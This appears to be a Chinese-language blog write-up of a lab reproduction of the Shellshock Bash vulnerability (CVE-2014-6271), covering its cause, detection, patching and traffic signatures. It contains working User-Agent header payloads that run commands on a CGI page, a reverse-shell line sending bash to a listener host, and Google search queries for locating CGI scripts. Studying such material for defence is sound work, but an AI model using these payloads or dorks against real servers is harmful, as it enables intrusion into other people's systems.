CVE-2014-6271(shellshock破壳漏洞)

Shellshock- CVE-2014-6271-破壳漏洞

漏洞描述

  1. 漏洞编号:CVE-2014-6271
  2. 影响版本:GNU Bash <= 4.3

https://www.cvedetails.com/cve/CVE-2014-6271/

https://access.redhat.com/articles/1200223

          3.漏洞产生原因:目前的Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

 

 

启动环境:docker-compose up -d

vulnIP:192.168.1.232

hackIP:192.168.1.37

nc监听IP:192.168.1.218

 

服务启动后,有两个页面`http://your-ip:8080/victim.cgi``http://your-ip:8080/safe.cgi`。其中safe.cgi是最新版bash生成的页面,victim.cgibash4.3生成的页面。

 

 

 

 

漏洞发现

1.关注GNU Bash的版本

bash --version
rpm -qa |grep bash

2.本地验证方法

shell中执行下面命令

env x='() { :;}; echo Vulnerable CVE-2014-6271' bash -c "echo test"

执行命令后,如果显示VulnerableCVE-2014-6271,证明系统存在漏洞,可改变echo VulnerableCVE-2014-6271为任意命令进行执行。

Linux Debian操作系统漏洞验证如下:

 

  如果显示上述信息,则受影响。

 

  如果显示上述信息,则不受影响。

 

 

漏洞利用

payload附在User-Agent中访问victim.cgi

User-Agent: () { :;};echo ; echo; echo $(/bin/ls /);

 

 

User-Agent: () { :;};echo Content-Type:text/plain; echo;/usr/bin/id;

命令成功被执行:

 

同样的数据包访问safe.cgi,不受影响:

 

 

反弹 Shell ip 1234端口:

User-Agent: () { :;};/bin/bash -i >& /dev/tcp/192.168.18.236/1234 0>&1;

 

 

 

 

问题汇总

 

 

修复方案

1.更新Bash源码,针对ENV命令实现部分,进行边界检查与参数过滤,严格界定函数定义范围,并做合法化的参数判断。

切换到安装包所在目录,执行以下命令进行更新安装:

RedHat官方/Centos

yum -y update bash

Debian/Ubuntu 用户

Debain,https://www.debian.org/security/2014/dsa-3032

Ubuntu,http://www.ubuntu.com/usn/usn-2362-1/

apt-get update apt-get install bash

其他Linux发行版,没有在线安装功能的,请使用以下脚本编译安装bash漏洞补丁:

http://www.gnu.org/software/bash
http://ftp.gnu.org/gnu/bash/ 

#!/bin/bash

cd /usr/local/src

wget http://ftp.gnu.org/gnu/bash/bash-4.3.tar.gz

tar zxf bash-4.3.tar.gz ; cd bash-4.3

wget -r -nd -np http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

for BP in `ls bash43-*|grep -v sig`; do patch -p0 < $BP; done

./configure 

make && make install

升级后,再一次执行前面的命令进行检测

2.此漏洞进行的补丁更新有三处,主要进行输入的command进行过滤作用。

/builtins/common.h

#define SEVAL_FUNCDEF 0x080         /* only allow function definitions */

 #define SEVAL_ONECMD  0x100         /* only allow a single command */

/builtins/evalstring.c

  if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)

         {

           internal_warning ("%s: ignoring function definition attempt", from_file);

           should_jump_to_top_level = 0;

           last_result = last_command_exit_value = EX_BADUSAGE;

           break;

         } 

/builtins/evalstring.c

      if (flags & SEVAL_ONECMD)

         break;

3.WAF上做防御

4.360网站卫士,腾讯电脑管家

 

 

参考链接

完整的环境

https://www.freebuf.com/news/48331.html

Tomcat环境

https://www.cnblogs.com/qmfsun/p/7591757.html

 

 

流量分析

您可以应用本地与远程的漏洞验证方法进行脚本、程序或snort规则等的编写与配置,进而进行批量的操作系统平台的检测。当进行HTTP检测时,可以进行RefererhostUserAgentheader等的头信息字符串“() {”或对应十六进制“\x28\x29\x20\x7b”检测目前已经出现的部分攻击。

https://www.freebuf.com/articles/system/48406.html

 

 

信息搜集

1.Google搜索方式

filetype:sh inurl:cgi-bin

filetype:cgi inurl:cgi-bin

2. https://blog.csdn.net/qq_36869808/article/details/104005219

 

 

基础知识

https://bbs.ichunqiu.com/thread-8046-1-1.html

https://www.cnblogs.com/HYWZ36/p/10878813.html

 

 

后续漏洞

Cve-2014-7169

CVE-2014-7186

CVE-2014-7187

 

 

2021-01-06 21:20:27

posted @ 2021-01-06 21:21  toby123  阅读(2266)  评论(0编辑  收藏  举报